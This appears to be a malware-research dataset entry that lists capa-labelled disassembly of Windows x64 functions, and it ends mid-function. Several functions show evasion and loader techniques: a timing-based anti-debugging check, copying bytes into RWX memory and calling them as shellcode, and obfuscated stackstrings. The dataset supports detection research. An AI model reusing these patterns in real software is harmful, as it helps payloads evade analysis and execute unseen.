joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000112a
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x14000114d
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x140001178
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x140001171
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140003b69
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xac93
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140003bba
mov rbx, rax
call 0x140003b9d
pop rsi
mov rcx, rax
add rsi, 0x4f957
mov rcx, 0xac93
mov dl, byte [rsi]
mov byte [rbx], dl
inc rsi
inc rbx
loop 0x140003baf
hlt
mov rbx, rax
call rbx
mov ecx, 1
ret
Function at 0x1400074dc
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and dword [rcx + 0x2c], 0
and dword [rcx + 8], 0
and qword [rcx + 0x10], 0
lea rdi, [rcx + 0x18]
lea rax, [0x140038f78]
mov rbx, rcx
and qword [rdi], 0
cmp dword [0x140052e04], 0
mov qword [rcx], rax
jne 0x140007598
lea rcx, [0x140052cf0]
xor edx, edx
mov r8d, 0x114
mov dword [0x140052e04], 1
call fcn.140021ef0
lea rcx, [0x140052cf0]
mov dword [0x140052cf0], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [0x140052cf4], 5
jb 0x140007598
lea rcx, [0x140052bd0]
xor edx, edx
mov r8d, 0x11c
call fcn.140021ef0
lea rcx, [0x140052bd0]
mov dword [0x140052bd0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov r11d, dword [0x140052bd4]
mov eax, dword [0x140052bd8]
mov dword [0x140052cf4], r11d
mov dword [0x140052cf8], eax
and qword [rdi], 0
cmp dword [0x140052cf4], 5
jb 0x1400075d5
cmp dword [0x140052cf8], 0
jbe 0x1400075d5
xor edx, edx
lea r9, [0x14003bf48]
lea rcx, [0x14003bed8]
lea r8d, [rdx + 1]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x1400075d5
and qword [rdi], 0
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140007754
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140007937
lea r8, [0x140052e70]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x30]
call rax
and dword [0x140052e70], 0xfffffff
cmp dword [rsp + 0x30], 6
jb 0x140007937
lea rcx, str.UxTheme.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140007937
lea rdx, str.DrawThemeTextEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [rsp + 0x30], 0xa
mov qword [0x140052e58], rax
jb 0x140007937
mov edx, 0x31
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x68
mov rcx, rbx
mov qword [0x140052e50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x6a
mov rcx, rbx
mov qword [0x140052e38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x84
mov rcx, rbx
mov qword [0x140052e48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x85
mov rcx, rbx
mov qword [0x140052e18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [0x140052e70], 0x47ba
mov edx, 0x87
mov qword [0x140052e20], rax
mov rcx, rbx
jae 0x14000786f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140052e28], rax
jmp 0x14000787c
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140052e68], rax
mov edx, 0x89
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.user32.dll
mov qword [0x140052e40], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140052e50], 0
mov qword [0x140052e10], rax
je 0x140007937
cmp qword [0x140052e38], 0
je 0x140007937
mov rax, qword [0x140052e18]
test rax, rax
je 0x140007937
cmp qword [0x140052e20], 0
je 0x140007937
cmp qword [0x140052e28], 0
jne 0x1400078f3
cmp qword [0x140052e68], 0
je 0x140007937
cmp qword [0x140052e40], 0
je 0x140007937
mov byte [0x140052e08], 1
call rax
test al, al
je 0x14000791a
call fcn.140007640
mov byte [0x140052e09], 1
test al, al
je 0x140007921
mov byte [0x140052e09], 0
cmp dword [0x140052e0c], 0
jne 0x140007937
mov cl, 1
call fcn.140007724
call qword [0x140052e38]
add rsp, 0x20
pop rbx
ret
Function at 0x14000911c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x140052ee0]
xor r13d, r13d
mov rbx, rcx
mov r14d, 1
lea rsi, [rcx + 0x220]
cmp rax, r13
je 0x1400091e9
mov eax, dword [rax]
mov dword [rsi], eax
add dword [0x140052ee8], 4
cmp dword [rsi], r13d
je 0x140009318
mov rcx, rbx
call fcn.140008e40
mov rcx, rbx
call fcn.140008bcc
mov edi, 0xfc4
lea rcx, [rbx + 0x22c]
mov r8, rdi
mov dl, 0x20
call fcn.140021ef0
mov r12d, r13d
cmp dword [rsi], r13d
jbe 0x140009318
lea r15d, [rdi + 0x3b]
mov rcx, rbx
call fcn.140008e80
movzx ebp, ax
mov eax, 0x100
cmp bp, ax
jge 0x140009244
mov rax, qword [0x140052ef8]
cmp rax, r13
je 0x140009219
movsxd rdx, dword [0x140052ef4]
lea ecx, [rdx + 1]
cmp ecx, dword [0x140052ef0]
jge 0x140009228
mov byte [rdx + rax], bpl
add dword [0x140052ef4], r14d
jmp 0x140009228
mov r9, qword [rcx + 0x210]
mov r8, r14
mov edx, 4
mov rcx, rsi
call fcn.1400235e8
cmp rax, r14
jae 0x140009166
lea rdx, str.Read_Error
mov rcx, rbx
call fcn.140008b40
int3
mov rdx, qword [rbx + 0x218]
movsx ecx, bp
call fcn.140022c10
movsx rax, di
add di, r14w
and di, r15w
add r12d, r14d
mov byte [rax + rbx + 0x22c], bpl
jmp 0x14000930f
mov rcx, rbx
call fcn.140008fd8
movzx ecx, di
sub cx, ax
mov eax, 0xfd
sub cx, r14w
sub bp, ax
movzx r14d, r13w
and cx, r15w
cmp r13w, bp
jge 0x140009309
movzx eax, bp
movsx r15d, cx
mov esi, 1
add r12d, eax
mov dword [rsp + 0x58], r12d
mov r12d, 0xfff
mov rdx, qword [0x140052ef8]
movsx eax, r14w
add eax, r15d
and rax, r12
movzx r13d, byte [rax + rbx + 0x22c]
test rdx, rdx
je 0x1400092c7
movsxd rcx, dword [0x140052ef4]
lea eax, [rcx + 1]
cmp eax, dword [0x140052ef0]
jge 0x1400092d7
mov byte [rcx + rdx], r13b
add dword [0x140052ef4], esi
jmp 0x1400092d7
mov rdx, qword [rbx + 0x218]
movsx ecx, r13w
call fcn.140022c10
movsx rax, di
add di, si
add r14w, si
and di, r12w
cmp r14w, bp
mov byte [rax + rbx + 0x22c], r13b
jl 0x14000928a
mov r12d, dword [rsp + 0x58]
lea rsi, [rbx + 0x220]
xor r13d, r13d
mov r15d, 0xfff
mov r14d, 1
cmp r12d, dword [rsi]
jb 0x1400091a5
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000d8c8
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x140052fb8], 0
mov rdi, rdx
mov rbx, rcx
jne 0x14000d91c
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d90c
lea rdx, [0x140039768]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140052fb0], rax
jmp 0x14000d913
mov rax, qword [0x140052fb0]
mov byte [0x140052fb8], 1
jmp 0x14000d923
mov rax, qword [0x140052fb0]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000d939
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x14000d93f
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000d9fc
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x30
xor edi, edi
mov rbx, r8
mov rbp, rdx
mov r12, rcx
cmp r8, rdi
jne 0x14000da2a
lea eax, [rdi + 0xd]
jmp 0x14000da61
mov rsi, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea rsi, [rsi + rax*2]
lea edi, [rdi + rax*2]
cmp eax, 1
jne 0x14000da2d
mov rcx, qword [r12]
lea r9d, [rax + 6]
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r12
ret
Function at 0x14000df80
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov edi, dword [rcx + 8]
xor eax, eax
mov rsi, rcx
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
or edi, 0x2001f
xor r8d, r8d
mov r9d, edi
mov rbp, rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x14000e08d
test rcx, rcx
je 0x14000dff5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rcx, qword [rsp + 0x58]
and edi, 0x300
mov dword [rsp + 0x50], edi
xor edi, edi
mov qword [rsp + 0x48], rcx
cmp ebx, edi
jmp 0x14000e027
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14000df80
mov rcx, qword [rsp + 0x48]
mov ebx, eax
cmp eax, edi
jne 0x14000e08f
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, edi
je 0x14000e00f
mov rcx, qword [rsp + 0x48]
cmp rcx, rdi
je 0x14000e075
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rdi
mov rdx, rbp
mov rcx, rsi
mov dword [rsp + 0x50], edi
call fcn.14000d8c8
mov rcx, qword [rsp + 0x48]
mov ebx, eax
jmp 0x14000e08f
xor edi, edi
cmp rcx, rdi
je 0x14000e09a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140021e20
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400102a8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r12, r9
mov rdi, r8
mov rax, rdx
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], rbx
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
cmp rax, rbx
jne 0x14001031c
call fcn.14000d7fc
mov ebx, eax
jmp 0x14001045d
mov r8, r12
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
cmp rax, rbx
jne 0x14001033f
call fcn.14000d7fc
mov ebx, eax
jmp 0x140010453
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r12, rax
mov qword [rsp + 0x40], rax
cmp rax, rbx
jne 0x140010364
call fcn.14000d7fc
mov ebx, eax
jmp 0x140010453
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, edi
jae 0x14001039d
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140010393
lea rcx, [rsp + 0x70]
call fcn.14000df4c
nop
mov eax, 0x8007000e
jmp 0x140010476
mov ecx, eax
cmp rcx, rbx
je 0x1400103db
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x1400103d1
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x1400103db
lea rcx, [rsp + 0x70]
call fcn.14000df54
mov rax, qword [rsp + 0x70]
jmp 0x1400103e5
mov ecx, 0x80070057
call fcn.14000d7e0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x1400103fc
cmp rax, rbx
jne 0x140010408
mov ebx, 0x8007000e
jmp 0x140010453
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, r12
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, ebx
jne 0x14001042f
call fcn.14000d7fc
mov ebx, eax
jmp 0x140010453
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], bx
mov r8d, dword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14001013c
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140010474
lea rcx, [rsp + 0x70]
call fcn.14000df4c
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140021e20
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x490
pop r12
pop rdi
pop rsi
ret
Function at 0x140010bd4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x110
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rsp + 0x108], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
and dword [rsp + 0x28], 0
call fcn.140004508
mov dword [rsp + 0x28], 1
mov byte [rsp + 0xf0], 0x68
mov byte [rsp + 0xf1], 0x74
mov byte [rsp + 0xf2], 0x74
mov byte [rsp + 0xf3], 0x70
mov byte [rsp + 0xf4], 0x73
mov byte [rsp + 0xf5], 0x3a
mov byte [rsp + 0xf6], 0x2f
mov byte [rsp + 0xf7], 0x2f
mov byte [rsp + 0xf8], 0x77
mov byte [rsp + 0xf9], 0x77
mov byte [rsp + 0xfa], 0x77
mov byte [rsp + 0xfb], 0x2e
mov byte [rsp + 0xfc], 0x73
mov byte [rsp + 0xfd], 0x6f
mov byte [rsp + 0xfe], 0x66
mov byte [rsp + 0xff], 0x74
mov byte [rsp + 0x100], 0x77
mov byte [rsp + 0x101], 0x61
mov byte [rsp + 0x102], 0x72
mov byte [rsp + 0x103], 0x65
mov byte [rsp + 0x104], 0x6f
mov byte [rsp + 0x105], 0x6b
mov byte [rsp + 0x106], 0x2e
mov byte [rsp + 0x107], 0
lea rdx, [rsp + 0xf0]
mov rcx, rbx
call fcn.140004d58
cmp dword [0x14006d310], 0
jne 0x140010d1a
lea rdx, [0x140039d28]
lea rcx, [rsp + 0x20]
call fcn.140004c38
nop
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000451c
nop
lea rcx, [rsp + 0x20]
call fcn.140004268
jmp 0x140010dbf
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
test eax, eax
je 0x140010d95
cmp dword [rsp + 0x40], 0xffffff10
jl 0x140010d69
cmp dword [rsp + 0x40], 0xf0
jg 0x140010d69
lea rdx, [0x140039d24]
lea rcx, [rsp + 0x20]
call fcn.140004c38
nop
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000451c
nop
lea rcx, [rsp + 0x20]
call fcn.140004268
jmp 0x140010dbf
lea rdx, [0x140039d20]
lea rcx, [rsp + 0x20]
call fcn.140004c38
nop
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000451c
nop
lea rcx, [rsp + 0x20]
call fcn.140004268
jmp 0x140010dbf
lea rdx, [0x140039d20]
lea rcx, [rsp + 0x20]
call fcn.140004c38
nop
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000451c
nop
lea rcx, [rsp + 0x20]
call fcn.140004268
mov rax, rbx
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.140021e20
add rsp, 0x110
pop rbx
ret

Function at 0x140010ddc
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140010e0e
call qword [sym.imp.USER32.dll_EmptyClipboard]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.USER32.dll_SetClipboardData]
xor edx, edx
lea ecx, [rdx + 0xd]
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
add rsp, 0x28
ret
Function at 0x140010e14
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov ebx, edx
mov r13, rcx
xor edi, edi
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, edi
je 0x140010f62
lea ecx, [rdi + 0xd]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
cmp rax, rdi
je 0x140010ecd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rbp, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r14, rax
cmp rax, rdi
je 0x140010f5c
cmp ebp, ebx
cmova ebp, ebx
lea edx, [rbp + 2]
mov rcx, r13
call fcn.140004588
mov r12, rax
cmp rax, rdi
je 0x140010ebf
mov r8d, ebp
mov rdx, r14
mov rcx, rax
call fcn.140022200
mov byte [rbp + r12], dil
lea ecx, [rbp + 1]
mov byte [rcx + r12], dil
or edx, 0xffffffff
mov rcx, r13
call fcn.140004b7c
mov edi, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x140010f5c
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rbp, rax
cmp eax, ebx
cmova ebp, ebx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r14, rax
cmp rax, rdi
je 0x140010f5c
lea rcx, [rsp + 0x70]
call fcn.140004508
nop
lea edx, [rbp + 2]
lea rcx, [rsp + 0x70]
call fcn.140004588
mov rsi, rax
cmp rax, rdi
je 0x140010f44
mov r8d, ebp
mov rdx, r14
mov rcx, rax
call fcn.140022200
mov byte [rbp + rsi], dil
lea ecx, [rbp + 1]
mov byte [rcx + rsi], dil
lea rdx, [rsp + 0x70]
mov rcx, r13
call fcn.140004ca8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edi, 1
lea rcx, [rsp + 0x70]
call fcn.140004268
call qword [sym.imp.USER32.dll_CloseClipboard]
mov eax, edi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140011428
Capabilities:
Hash data via wincrypt

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x70
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r12, r9
mov ebp, r8d
mov rsi, rdx
lea rcx, [rsp + 0x20]
call fcn.140004508
nop
lea rdi, [rsp + 0x28]
xor eax, eax
lea ecx, [rax + 0x10]
rep stosb byte [rdi], al
mov rbx, qword [rsp + 0x30]
xor edi, edi
cmp rbx, rdi
je 0x14001150f
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, edi
jne 0x1400114ae
mov rcx, qword [rsp + 0x28]
cmp rcx, rdi
je 0x1400114a3
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x14001150f
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140010990
cmp al, dil
je 0x14001150f
mov ebx, 1
lea rdx, str._02x
lea rcx, [rsp + 0x28]
call fcn.140004c38
nop
movzx r8d, byte [rsp + rdi + 0x40]
mov rdx, qword [rax]
lea rcx, [rsp + 0x20]
call fcn.1400054b0
nop
lea rcx, [rsp + 0x28]
call fcn.140004268
lea rdx, [rsp + 0x20]
mov rcx, r12
call fcn.14000451c
add rdi, rbx
cmp rdi, 0x20
jl 0x1400114c7
jmp 0x140011512
mov bl, dil
lea rcx, [rsp + 0x20]
call fcn.140004268
mov al, bl
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140021e20
add rsp, 0x70
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140011538
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rsi
push rdi
push r12
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rbp
mov r12, rdx
mov rdi, rcx
xor esi, esi
mov qword [rax - 0x38], rsi
mov dword [rax - 0x40], 0x80
mov dword [rax - 0x48], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rsi + 1]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1400115a8
xor r9d, r9d
lea r8, str.Error1_
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x1400115fd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [rsp + 0x80], esi
lea edx, [rax + 1]
lea rcx, [r12 + 8]
call fcn.140004588
mov qword [r12], rax
mov dword [r12 + 0x10], ebx
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x80]
mov r8d, ebx
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov esi, 1
mov rcx, rdi
call fcn.140004268
mov eax, esi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x14001161c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov esi, r8d
mov r12, rdx
mov rdi, rcx
xor ebx, ebx
mov qword [rax - 0x38], rbx
mov dword [rax - 0x40], 0x80
mov dword [rax - 0x48], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x14001168e
cmp esi, ebx
je 0x14001168c
xor r9d, r9d
lea r8, str.Create_Error_
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x1400116be
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x70]
mov r8d, dword [r12 + 0x20]
mov rdx, qword [r12 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, 1
mov rcx, rdi
call fcn.140004268
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x1400116e0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov r13, rdx
mov rbp, rcx
and qword [rax - 0x48], 0
mov dword [rax - 0x50], 0x80
mov dword [rax - 0x58], 2
xor r9d, r9d
lea esi, [r9 + 1]
mov r8d, esi
mov edx, 0x40000000
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1400117c1
and dword [rsp + 0x90], 0
mov rcx, r13
call fcn.140004178
lea eax, [rax + rax + 1]
movsxd rcx, eax
call fcn.140022574
mov rdi, rax
mov rbx, qword [r13]
mov rcx, r13
call fcn.140004178
add eax, eax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, r13
call fcn.140004178
mov r8d, eax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x90]
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400117c3
xor esi, esi
mov rcx, rbp
call fcn.140004268
mov eax, esi
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400118a8
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x2e0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov r8d, 0x104
lea rdx, [r11 - 0x228]
mov rcx, qword [0x14006c9c0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rdi
call fcn.14000418c
test eax, eax
je 0x14001191f
lea rdx, [rsp + 0xc0]
mov rcx, rdi
call fcn.140004d24
xor edx, edx
lea r8d, [rdx + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140021ef0
mov dword [rsp + 0x50], 0x70
mov rdx, rdi
lea rcx, [rsp + 0x28]
call fcn.140005290
nop
and dword [rsp + 0x54], 0
xor edx, edx
lea rcx, [rsp + 0x28]
call fcn.140004588
mov qword [rsp + 0x68], rax
and qword [rsp + 0x98], 0
and qword [rsp + 0x58], 0
mov dword [rsp + 0x80], 1
mov rdx, rsi
lea rcx, [rsp + 0x20]
call fcn.140005290
mov r11, qword [rsp + 0x20]
